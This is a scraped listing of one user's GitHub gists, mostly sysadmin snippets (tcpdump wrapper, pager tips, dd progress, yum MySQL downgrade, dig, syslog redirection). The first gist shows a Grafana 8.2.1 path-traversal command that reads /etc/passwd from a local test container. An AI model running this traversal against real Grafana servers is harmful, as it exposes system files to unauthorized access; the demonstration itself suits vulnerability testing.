stefanl@stefanl:~ $ docker run --rm -d --name=grafana -p 3000:3000 grafana/grafana:8.2.1
497f2c35813fa2f035252f241e40ef88ad24f458f5989f2e876940b0c00da698
stefanl@stefanl:~ $ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../VERSION
stefanl@stefanl:~ $ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../../../../etc/passwd | head -3
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1230 100 1230 0 0 400k 0 --:--:-- --:--:-- --:--:-- 400k
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#=================================================================================== | |
# | |
# FILE: dump.sh | |
# USAGE: dump.sh [-i interface] [tcpdump-parameters] | |
# DESCRIPTION: tcpdump on any interface and add the prefix [Interace:xy] in front of the dump data. | |
# OPTIONS: same as tcpdump | |
# REQUIREMENTS: tcpdump, sed, ifconfig, kill, awk, grep, posix regex matching | |
# BUGS: --- | |
# FIXED: - In 1.0 The parameter -w would not work without -i parameter as multiple tcpdumps are started. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
By default, `journalctl` will print the logs through a pager which can hide results from you. This can be annoying when trying to capture a screenshot: | |
root@docker01:~# journalctl -xe -u docker | |
May 21 23:25:40 docker01 dockerd[123]: time="2020-05-21T23:25:40.376573968Z" level=info msg="ign | |
May 22 00:45:37 docker01 dockerd[123]: time="2020-05-22T00:45:37.971043364Z" level=info msg="ign | |
lines 1006-1046/1046 (END) | |
Instead, pipe `journalctl` through `less`, `cat` or `tail` to quickly get familiar features such as wrapped lines: | |
root@docker01:~# journalctl -xe -u docker |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
By default, `git branch` by default uses a pager, which requires that you quit out of the pager, which erases the results fmor your screen | |
stefanl@stefanl:zfs git branch --all | |
* master | |
remotes/origin/HEAD -> origin/master | |
remotes/origin/master | |
remotes/origin/top | |
remotes/origin/zfs-0.6.3-stable | |
(END)^C |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Coreutils 8.24+ ships with dd with the status=progress option | |
root@host:~# dd if=/dev/sdb conv=sync,noerror status=progress | lz4 > disk.img.lz4 | |
1430323712 bytes (1.4 GB, 1.3 GiB) copied, 41 s, 34.9 MB/s | |
# pv (Pipeview) can also show a nice progress bar | |
root@host:~# dd if=/dev/sdb conv=sync,noerror | pv -tpreb | lz4 > ~stefanl/touch.img.lz4 | |
472MiB 0:00:14 [36.0MiB/s] [ <=> ] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[root@devdb ~]# yum list --quiet mysql-community-server mysql-community-client mysql-community-libs mysql-community-common mysql-community-libs-compat | |
Available Packages | |
mysql-community-client.x86_64 5.7.22-1.el6 mysql57-community | |
mysql-community-common.x86_64 5.7.22-1.el6 mysql57-community | |
mysql-community-libs.x86_64 5.7.22-1.el6 mysql57-community | |
mysql-community-libs-compat.x86_64 5.7.22-1.el6 mysql57-community | |
mysql-community-server.x86_64 5.7.22-1.el6 mysql57-community | |
[root@devdb ~]# yum --quiet downgrade mysql-community-libs-5.7.22-1.el6.x86_64 mysql-community-common-5.7.22-1. | |
el6.x86_64 mysql-community-client-5.7.22-1.el6.x86_64 mysql-community-libs-compat-5.7.22-1.el6.x86_64 mys | |
ql-community-server-5.7.22-1.el6.x86_64 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[root@devdb ~]# yum remove mysql-commercial\* | |
Loaded plugins: fastestmirror, priorities, ps, security, versionlock | |
Setting up Remove Process | |
Resolving Dependencies | |
--> Running transaction check | |
---> Package mysql-commercial-client.x86_64 0:5.7.22-1.1.el6 will be erased | |
---> Package mysql-commercial-common.x86_64 0:5.7.22-1.1.el6 will be erased | |
---> Package mysql-commercial-libs.x86_64 0:5.7.22-1.1.el6 will be erased | |
--> Processing Dependency: mysql-libs for package: 2:postfix-2.6.6-6.el6_5.x86_64 | |
---> Package mysql-commercial-libs-compat.x86_64 0:5.7.22-1.1.el6 will be erased |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
#set -xv | |
# Update MacPorts base to latest released version using 'selfupdate' | |
# Then upgrade all outdated ports (upgrade outdated), and uninstall old version of each port (-u), | |
# following these guides: | |
# http://guide.macports.org/#using.common-tasks.updating | |
# http://guide.macports.org/#using.port.upgrade |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Tested from a Mac command-line | |
$ dig +noall +answer SFDPH.ORG | |
$ dig +noall +answer www.SFDPH.ORG | |
www.sfdph.org. 1638 IN CNAME evqf8.x.incapdns.net. | |
evqf8.x.incapdns.net. 29 IN A 199.83.131.153 | |
$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# A handy way to redirect script output to syslog | |
# Way more granular then adding a bunch of `/usr/bin/logger` stanzas | |
# Thanks to http://urbanautomaton.com/blog/2014/09/09/redirecting-bash-script-output-to-syslog/ & | |
# Eric at https://twitter.com/lindvall/status/509054237267853312 | |
echo "writing to stdout, before the I/O redirection" |
NewerOlder